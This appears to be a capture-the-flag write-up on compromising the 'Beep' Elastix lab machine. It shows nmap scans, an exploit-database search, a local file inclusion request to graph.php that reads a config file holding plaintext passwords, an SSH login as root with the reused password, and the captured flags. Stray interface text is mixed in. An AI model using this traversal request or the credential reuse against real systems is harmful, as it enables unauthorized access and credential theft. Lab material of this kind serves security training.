

Information Gathering

1) Multiple open ports have been found

```
(vigneswar@vigneswar)-[~]  
$ nmap 10.10.10.7  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-24 09:18 IST  
Nmap scan report for 10.10.10.7  
Host is up (0.71s latency).  
Not shown: 988 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
25/tcp    open  smtp  
80/tcp    open  http  
110/tcp   open  pop3  
111/tcp   open  rpcbind  
143/tcp   open  imap  
443/tcp   open  https  
993/tcp   open  imaps  
995/tcp   open  pop3s  
3306/tcp  open  mysql  
4445/tcp  open  upnotifyp  
10000/tcp open  snet-sensor-mgmt  
  
Nmap done: 1 IP address (1 host up) scanned in 63.15 seconds
```

2) further scan has been done

Dashboard Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Settings

(vigneswar@vigneswar)-[~]

```
$ sudo nmap 10.10.10.7 -p22,25,80,110,111,143,993,995,3306,4445,10000 -sCV
```

Starting Nmap 7.94 (https://nmap.org) at 2023-09-24 09:31 IST

Nmap scan report for 10.10.10.7

Host is up (0.55s latency).

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 4.3 (protocol 2.0)

| ssh-hostkey:

| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)

| 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)

25/tcp open smtp Postfix smtpd

|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN

80/tcp open http Apache httpd 2.2.3

|_http-server-header: Apache/2.2.3 (CentOS)

|_http-title: Did not follow redirect to https://10.10.10.7/

110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4

|_pop3-capabilities: PIPELINING USER UIDL AUTH-RESP-CODE STLS IMPLEMENTATION(Cyrus POP3 server v2) EXPIRE(NEVER) APOP RESP-CODES LOGIN-DELAY(0) TOP

111/tcp open rpcbind 2 (RPC #100000)

| rpcinfo:

program	version	port/proto	service
100000	2	111/tcp	rpcbind
100000	2	111/udp	rpcbind
100024	1	876/udp	status
100024	1	879/tcp	status

143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4

|_imap-capabilities: THREAD=ORDEREDSUBJECT QUOTA STARTTLS SORT=MODSEQ CATENATE Completed LIST EXT RENAME LITERAL+ OK LIST-SUBSCRIBED IMAP4 URLAUTHA0001 IDLE IMAP4rev1 CONDSTORE BINARY ANN OTATMORE SORT THREAD=REFERENCES NAMESPACE MULTIAPPEND MAILBOX-REFERRALS CHILDREN ATOMIC UNSE LECT ACL X-NETSCAPE ID UIDPLUS NO RIGHTS=kxte

993/tcp open ssl/imap Cyrus imapd

|_imap-capabilities: CAPABILITY

995/tcp open pop3 Cyrus pop3d

3306/tcp open mysql MySQL (unauthorized)

4445/tcp open upnotifyp?

10000/tcp open http MiniServ 1.570 (Webmin httpd)

|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).

Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com

Website Identity

Website: 10.10.10.7

Owner: This website does not supply ownership information.

Verified by: PortSwigger

[View Certificate](#)

Privacy & History

Have I visited this website prior to today? No

Is this website storing information on my computer? Yes, cookies

Clear Cookies and Site Data

Have I saved any passwords for this website? No

View Saved Passwords

Technical Details

Connection Encrypted (TLS_AES_256_GCM_SHA384, 256 bit keys, TLS 1.3)

The page you are viewing was encrypted before being transmitted over the Internet.

Encryption makes it difficult for unauthorized people to view information traveling between computers. It is therefore unlikely that anyone read this page as it traveled across the network.

Help

```
vigneswar@vigneswar:~$ curl https://10.10.10.7 -i -k -vv
* Trying 10.10.10.7:443 ...
* Connected to 10.10.10.7 (10.10.10.7) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.0 (IN), TLS handshake, Certificate (11):
* TLSv1.0 (IN), TLS handshake, Server key exchange (12):
* TLSv1.0 (IN), TLS handshake, Server finished (14):
* TLSv1.0 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.0 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.0 (OUT), TLS handshake, Finished (20):
* TLSv1.0 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1 / DHE-RSA-AES256-SHA
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: C=--; ST=SomeState; L=SomeCity; O=SomeOrganization; OU=SomeOrganizationalUnit; CN=localhost.localdomain; emailAddress=root@localhost.localdomain
*   start date: Apr  7 08:22:08 2017 GMT
*   expire date: Apr  7 08:22:08 2018 GMT
*   issuer: C=--; ST=SomeState; L=SomeCity; O=SomeOrganization; OU=SomeOrganizationalUnit; CN=localhost.localdomain; emailAddress=root@localhost.localdomain
*   SSL certificate verify result: self-signed certificate (18), continuing anyway.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.10.10.7
> User-Agent: curl/7.88.1
> Accept: */*
```

Title

elastix

CVE

2023-1234

Type

Platform

Port

Content

Exploit content

Author

Author

Tag

Search

Verified

Has App

No Metasploit

Reset All

Show

15

Date	D	A	V	Title	Type	Platform	Author
2015-09-06	↓		✗	Elastix < 2.5 - PHP Code Injection	webapps	PHP	i-Hmx
2015-03-07	↓		✗	Elastix 2.x - Blind SQL Injection	webapps	PHP	Ahmed Aboul-Ela
2013-05-28	↓		✓	Elastix - Multiple Cross-Site Scripting Vulnerabilities	webapps	PHP	cheki
2012-11-29	↓		✓	Elastix - 'page' Cross-Site Scripting	webapps	PHP	cheki
2012-08-17	↓		✓	Elastix 2.2.0 - 'graph.php' Local File Inclusion	webapps	PHP	cheki
2012-03-23	↓		✓	FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution	webapps	PHP	mutts
2010-11-01	↓		✓	Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities	webapps	PHP	dave b

Showing 1 to 7 of 7 entries

First

Previous

1

Next

Last

Exploitation

1) found the password

Request

Pretty

Raw

Hex

ln

```
1 GET /vtigercrm/graph.php/vtigercrm/graph.php?current_language=../../../../../../../../etc/ampportal.conf%00&
2 module=Accounts&action HTTP/1.1
3 Host: 10.10.10.7
4 Cookie: elastixSession=tkugv01lgk1a7brcp97q314g41
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 Accept-Language: en-US,en;q=0.5
8 Accept-Encoding: gzip, deflate
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: none
13 Sec-Fetch-User: ?1
14 Te: trailers
15 Connection: close
16
```

Response

Pretty

Raw

Hex

Render

```
34 # AMPENGINE: Telephony backend engine (e.g. asterisk)
35 # AMPMGRUSER: Username to access the Asterisk Manager Interface
36 # AMPMGRPASS: Password for AMPMGRUSER
37 #
38 AMPDBHOST=localhost
39 AMPDBENGINE=mysql
40 # AMPDBNAME=asterisk
41 AMPDBUSER=asteriskuser
42 # AMPDBPASS=amp109
43 AMPDBPASS=jEhdIekWmdjE
44 AMPENGINE=asterisk
45 AMPMGRUSER=admin
46 #AMPMGRPASS=amp111
47 #AMPMGRPASS=jEhdIekWmdjE
48
49 # AMPBIN: Location of the FreePBX command line scripts
50 # AMPSBIN: Location of (root) command line scripts
51 #
52 AMPBIN=/var/lib/asterisk/bin
53 AMPSBIN=/usr/local/sbin
54
55 # AMPWEBROOT: Path to Apache's webroot (leave off trailing slash)
56 # AMPCGIBIN: Path to Apache's cgi-bin dir (leave off trailing slash)
57 # AMPWEBADDRESS: The IP address or host name used to access the AMP web admin
58 #
59 AMPWEBROOT=/var/www/html
60 AMPCGIBIN=/var/www/cgi-bin
61 # AMPWEBADDRESS=x.x.x.x|hostname
62
63 # FOPWEBROOT: Path to the Flash Operator Panel webroot (leave off trailing slash)
64 # FOPPASSWORD: Password for performing transfers and hangups in the Flash Operator Panel
65 # FOPRUN: Set to true if you want FOP started by freepbx_engine (ampportal_start), false otherwise
66 # FOPDISABLE: Set to true to disable FOP in interface and retrieve_conf. Useful for sqlite3
67 # or if you don't want FOP.
68 #
69 #FOPRUN=true
```

2) Logged in as root

```
Extensions Settings
(vigneswar@vigneswar)-[~]
$ ssh 10.10.10.7 -l "root" -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss

The authenticity of host '10.10.10.7 (10.10.10.7)' can't be established.
DSA key fingerprint is SHA256:AGaW4a0uNJ7KPMpSOBD+aVIN75AV3C0y8yKpqFjedTc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.7' (DSA) to the list of known hosts.
root@10.10.10.7's password:
Permission denied, please try again.
root@10.10.10.7's password:
Last login: Tue Jul 16 11:45:47 2019

Welcome to Elastix

To access your Elastix System, using a separate workstation (PC/MAC/Linux)
Open the Internet Browser using the following URL:
http://10.10.10.7

[root@beep ~]#
```

v

3) Got the flag

```
The authenticity of host '10.10.10.7 (10.10.10.7)' can't be established.
DSA key fingerprint is SHA256:AGaW4a0uNJ7KPMpSOBD+aVIN75AV3C0y8yKpqFjedTc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.7' (DSA) to the list of known hosts.
root@10.10.10.7's password:
Permission denied, please try again.
root@10.10.10.7's password:
Last login: Tue Jul 16 11:45:47 2019

Welcome to Elastix

To access your Elastix System, using a separate workstation (PC/MAC/Linux)
Open the Internet Browser using the following URL:
http://10.10.10.7

[root@beep ~]# cat /root/root.txt
c1940b06376aa83421f9c253f5bb560b
[root@beep ~]# cat /home/fanis/user.txt
6b119d918e808872979e779ab66df17e
[root@beep ~]#
```